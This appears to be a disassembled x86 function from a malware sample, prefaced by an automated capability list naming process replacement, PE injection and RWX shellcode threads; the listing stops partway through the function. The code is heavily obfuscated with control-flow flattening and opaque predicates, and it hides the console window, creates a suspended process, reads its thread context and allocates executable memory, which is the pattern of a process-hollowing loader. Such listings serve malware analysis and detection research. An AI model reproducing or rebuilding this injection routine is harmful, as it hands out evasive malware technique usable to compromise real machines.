Function at 0x100098a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x1006b404]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0x1f97f6fc
sub edx, 1
add edx, 0x1f97f6fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x152], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x151], al
mov dword [ebp - 0x158], 0xbd7db54d
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x80315a8b
je 0x1000cc87
jmp 0x1000991b
mov eax, dword [ebp - 0x15c]
sub eax, 0x8048b625
je 0x1000bc49
jmp 0x10009931
mov eax, dword [ebp - 0x15c]
sub eax, 0x81621e08
je 0x1000bab2
jmp 0x10009947
mov eax, dword [ebp - 0x15c]
sub eax, 0x82f18e7e
je 0x1000c3be
jmp 0x1000995d
mov eax, dword [ebp - 0x15c]
sub eax, 0x832e4958
je 0x1000db46
jmp 0x10009973
mov eax, dword [ebp - 0x15c]
sub eax, 0x841598f1
je 0x1001114e
jmp 0x10009989
mov eax, dword [ebp - 0x15c]
sub eax, 0x84706ff6
je 0x1000f733
jmp 0x1000999f
mov eax, dword [ebp - 0x15c]
sub eax, 0x851f2390
je 0x1000cc36
jmp 0x100099b5
mov eax, dword [ebp - 0x15c]
sub eax, 0x855a9097
je 0x1000ccfd
jmp 0x100099cb
mov eax, dword [ebp - 0x15c]
sub eax, 0x863c84e6
je 0x1000bb1c
jmp 0x100099e1
mov eax, dword [ebp - 0x15c]
sub eax, 0x886e4e4a
je 0x1000fefc
jmp 0x100099f7
mov eax, dword [ebp - 0x15c]
sub eax, 0x88fd1150
je 0x1000b7c2
jmp 0x10009a0d
mov eax, dword [ebp - 0x15c]
sub eax, 0x89189e04
je 0x1000d17f
jmp 0x10009a23
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a0108b4
je 0x1000c204
jmp 0x10009a39
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bc20d1d
je 0x1000b701
jmp 0x10009a4f
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bc5a147
je 0x1000f6cf
jmp 0x10009a65
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e3daa41
je 0x1000f141
jmp 0x10009a7b
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e82087c
je 0x1000ceae
jmp 0x10009a91
mov eax, dword [ebp - 0x15c]
sub eax, 0x9015c7f6
je 0x100111f2
jmp 0x10009aa7
mov eax, dword [ebp - 0x15c]
sub eax, 0x90c2ed2c
je 0x100108df
jmp 0x10009abd
mov eax, dword [ebp - 0x15c]
sub eax, 0x90e0881d
je 0x10010544
jmp 0x10009ad3
mov eax, dword [ebp - 0x15c]
sub eax, 0x92528a51
je 0x1000bf18
jmp 0x10009ae9
mov eax, dword [ebp - 0x15c]
sub eax, 0x9303718b
je 0x10011348
jmp 0x10009aff
mov eax, dword [ebp - 0x15c]
sub eax, 0x93122d71
je 0x10010d8e
jmp 0x10009b15
mov eax, dword [ebp - 0x15c]
sub eax, 0x93f688e2
je 0x1000c9d1
jmp 0x10009b2b
mov eax, dword [ebp - 0x15c]
sub eax, 0x93fda43a
je 0x1000f132
jmp 0x10009b41
mov eax, dword [ebp - 0x15c]
sub eax, 0x96d58342
je 0x10011375
jmp 0x10009b57
mov eax, dword [ebp - 0x15c]
sub eax, 0x978b1c11
je 0x1000bf70
jmp 0x10009b6d
mov eax, dword [ebp - 0x15c]
sub eax, 0x97d72206
je 0x1000d42f
jmp 0x10009b83
mov eax, dword [ebp - 0x15c]
sub eax, 0x9b948f0a
je 0x1000d334
jmp 0x10009b99
mov eax, dword [ebp - 0x15c]
sub eax, 0x9c3e1684
je 0x1001065b
jmp 0x10009baf
mov eax, dword [ebp - 0x15c]
sub eax, 0x9e08ee2b
je 0x1000d898
jmp 0x10009bc5
mov eax, dword [ebp - 0x15c]
sub eax, 0x9f0fd53c
je 0x1000de42
jmp 0x10009bdb
mov eax, dword [ebp - 0x15c]
sub eax, 0x9f367f55
je 0x1000e49c
jmp 0x10009bf1
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0de3862
je 0x1000c789
jmp 0x10009c07
mov eax, dword [ebp - 0x15c]
sub eax, 0xa1f50850
je 0x1000d480
jmp 0x10009c1d
mov eax, dword [ebp - 0x15c]
sub eax, 0xa1fac17e
je 0x10011201
jmp 0x10009c33
mov eax, dword [ebp - 0x15c]
sub eax, 0xa4130831
je 0x10010a93
jmp 0x10009c49
mov eax, dword [ebp - 0x15c]
sub eax, 0xa4626108
je 0x10011066
jmp 0x10009c5f
mov eax, dword [ebp - 0x15c]
sub eax, 0xa49af8c7
je 0x1000bcb7
jmp 0x10009c75
mov eax, dword [ebp - 0x15c]
sub eax, 0xa52f20ba
je 0x1000be7e
jmp 0x10009c8b
mov eax, dword [ebp - 0x15c]
sub eax, 0xa5637dae
je 0x1000dad0
jmp 0x10009ca1
mov eax, dword [ebp - 0x15c]
sub eax, 0xa5d4003d
je 0x100109a8
jmp 0x10009cb7
mov eax, dword [ebp - 0x15c]
sub eax, 0xa668725b
je 0x10011495
jmp 0x10009ccd
mov eax, dword [ebp - 0x15c]
sub eax, 0xa6834f42
je 0x1000d633
jmp 0x10009ce3
mov eax, dword [ebp - 0x15c]
sub eax, 0xa83a2d95
je 0x1000bc00
jmp 0x10009cf9
mov eax, dword [ebp - 0x15c]
sub eax, 0xaa592626
je 0x1000f23d
jmp 0x10009d0f
mov eax, dword [ebp - 0x15c]
sub eax, 0xaaa5d829
je 0x1000e230
jmp 0x10009d25
mov eax, dword [ebp - 0x15c]
sub eax, 0xab5452b1
je 0x10011366
jmp 0x10009d3b
mov eax, dword [ebp - 0x15c]
sub eax, 0xab62a3e4
je 0x100105b2
jmp 0x10009d51
mov eax, dword [ebp - 0x15c]
sub eax, 0xab70efab
je 0x10011554
jmp 0x10009d67
mov eax, dword [ebp - 0x15c]
sub eax, 0xacf91382
je 0x1000f034
jmp 0x10009d7d
mov eax, dword [ebp - 0x15c]
sub eax, 0xae8abe80
je 0x1000e7a5
jmp 0x10009d93
mov eax, dword [ebp - 0x15c]
sub eax, 0xaf36a44e
je 0x1000c713
jmp 0x10009da9
mov eax, dword [ebp - 0x15c]
sub eax, 0xb090a966
je 0x1000e1ba
jmp 0x10009dbf
mov eax, dword [ebp - 0x15c]
sub eax, 0xb12a318b
je 0x1000c031
jmp 0x10009dd5
mov eax, dword [ebp - 0x15c]
sub eax, 0xb21af6f7
je 0x1000f907
jmp 0x10009deb
mov eax, dword [ebp - 0x15c]
sub eax, 0xb29e0cd1
je 0x1000c81b
jmp 0x10009e01
mov eax, dword [ebp - 0x15c]
sub eax, 0xb335c1d9
je 0x1001119b
jmp 0x10009e17
mov eax, dword [ebp - 0x15c]
sub eax, 0xb3635ec8
je 0x1000fe23
jmp 0x10009e2d
mov eax, dword [ebp - 0x15c]
sub eax, 0xb4a932f6
je 0x1000be23
jmp 0x10009e43
mov eax, dword [ebp - 0x15c]
sub eax, 0xb57141d7
je 0x1000cb5f
jmp 0x10009e59
mov eax, dword [ebp - 0x15c]
sub eax, 0xb578f818
je 0x1000d0ef
jmp 0x10009e6f
mov eax, dword [ebp - 0x15c]
sub eax, 0xb65d9a59
je 0x100110fa
jmp 0x10009e85
mov eax, dword [ebp - 0x15c]
sub eax, 0xb67e79b2
je 0x1000d08f
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x158], 0x77e5ceac
jmp 0x10011561
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001720
add esp, 4
lea eax, [0x1001d1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001720
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x48400
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0x150]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe69ec95e
mov ecx, 0xcd719df1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93122d71
mov ecx, 0x29e16b20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0xe661c2ef
sub edx, 1
add edx, 0xe661c2ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4c00d136
mov ecx, 0x6e3be5fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfcf26d3
mov ecx, 0x8048b625
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
add edx, 0x764606bc
sub edx, 1
sub edx, 0x764606bc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfcf26d3
mov ecx, 0xe138be3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0xcc]
add eax, 0x3c
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x158], 0xfaa7f13b
jmp 0x10011561
mov eax, dword [ebp - 0x140]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10012c60
add esp, 0xc
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10012c60
add esp, 0xc
mov dword [ebp - 0x158], 0xa52f20ba
jmp 0x10011561
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x158], 0xf01e7d9c
jmp 0x10011561
mov dword [ebp - 0x158], 0x76b3ab2b
jmp 0x10011561
mov eax, dword [ebp - 0x134]
mov edx, dword [eax]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb9], al
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0x4ac2c8f6
sub edx, 1
add edx, 0x4ac2c8f6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ba6d158
mov ecx, 0xb12a318b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov dword [ebp - 0x158], 0xd8aab6ed
jmp 0x10011561
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xb8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xb1], al
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0xc678548f
sub edx, 1
sub edx, 0xc678548f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6d761ad7
mov ecx, 0x2636e706
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov dl, byte [ebp - 0xb1]
mov eax, 0x54132691
mov ecx, 0xf8052dec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0xaf476a9c
sub edx, 1
add edx, 0xaf476a9c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4803e633
mov ecx, 0xa0de3862
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x140]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x128]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0x8e330629
sub edx, 1
add edx, 0x8e330629
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4803e633
mov ecx, 0xb29e0cd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov dword [ebp - 0x158], 0xcb633f4a
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
add edx, 0xcdec86fd
sub edx, 1
sub edx, 0xcdec86fd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x626b264d
mov ecx, 0x320ca134
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0xacdc2353
sub edx, 1
add edx, 0xacdc2353
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcda27cff
mov ecx, 0x851f2390
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0xf8fa5ab6
sub edx, 1
add edx, 0xf8fa5ab6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf2c5fd
mov ecx, 0x80315a8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0xf36b3f1d
sub edx, 1
add edx, 0xf36b3f1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x721909c5
mov ecx, 0x855a9097
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0xdc18b89
sub edx, 1
add edx, 0xdc18b89
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x721909c5
mov ecx, 0xe4b6bee3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0x37058deb
sub edx, 1
sub edx, 0x37058deb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa4626108
mov ecx, 0x20274e7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0x6546c500
sub edx, 1
add edx, 0x6546c500
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3ad2fd69
mov ecx, 0x89189e04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov dword [ebp - 0x158], 0xe22ce72a
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0x90df1571
sub edx, 1
add edx, 0x90df1571
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28013493
mov ecx, 0x7a8945d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x85], al
mov dword [ebp - 0x158], 0xf0f090e8
jmp 0x10011561
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0x566851e
add eax, ecx
add eax, 0x566851e
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x158], 0xe8426fd9
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0x4dbfbb51
sub edx, 1
sub edx, 0x4dbfbb51
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb65d9a59
mov ecx, 0x510205ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x110]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10c]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add ecx, 0x41aaf41a
sub ecx, edx
sub ecx, 0x41aaf41a
add eax, ecx
mov dword [ebp - 0x68], eax
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0xb5bd2956
sub edx, 1
sub edx, 0xb5bd2956
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcdf6f2f0
mov ecx, 0x5fba93b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0xe91b10ad
sub edx, 1
sub edx, 0xe91b10ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9c3e1684
mov ecx, 0x832e4958
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0x5fe73a76
sub edx, 1
add edx, 0x5fe73a76
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x11f978ab
mov ecx, 0x410247ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x56bbf997
mov ecx, 0xde4bc6b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0xa760b2c2
sub edx, 1
add edx, 0xa760b2c2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0c92680
mov ecx, 0xaaa5d829
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0xab0a8209
sub edx, 1
sub edx, 0xab0a8209
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x269ab6a4
mov ecx, 0x418485fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0x9f180f69
sub edx, 1
add edx, 0x9f180f69
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc83a285
mov ecx, 0xe3a0b6c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
xor esi, esi
sub esi, 1
